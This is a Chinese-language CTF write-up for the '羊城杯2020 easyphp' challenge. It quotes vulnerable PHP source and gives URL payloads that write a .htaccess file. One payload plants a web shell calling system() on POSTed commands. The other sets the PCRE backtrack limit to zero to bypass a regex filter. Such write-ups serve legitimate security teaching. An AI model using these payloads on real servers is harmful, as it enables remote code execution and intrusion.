[羊城杯2020]easyphp
和[XNUCA2019Qualifier]EasyPHP基本一样,唯一的区别就是少了include_once导致没办法通过error_log来做,预期解应该就是那道题的非预期。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
|
文件包含,其中文件内容不能有on|html|type|flag|upload|file关键字,文件名只能有字母和点,且每次访问都会删除当前目录除index.php之外的文件。
写个一句话,发现没有被解析,可能是php解析配置php_flag engine
关闭了。配置的问题还是要回归配置文件,虽然主配置文件中关闭了php解析,但.htaccess优先度高于主配置文件,因此我们可以使用.htaccess执行php代码。
利用.htaccess构成后门,payload:
1 2
| ?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\
|
通过php_value来设置preg_macth正则回溯次数
payload:
1 2
| ?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\
|
使preg_match返回False,继而绕过了正则判断,然后的过程由于源码没有使用include,所以应该还是利用.htaccess写入php代码自包含吧,那和前一种方法差不多(自认为)。
参考链接:https://tyskill.github.io/posts/ycb2020/#%E6%B3%95%E4%B8%80
Author:
odiws
Permalink:
http://odiws.github.io/2024/07/29/ISITDTU2019-EasyPHP/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?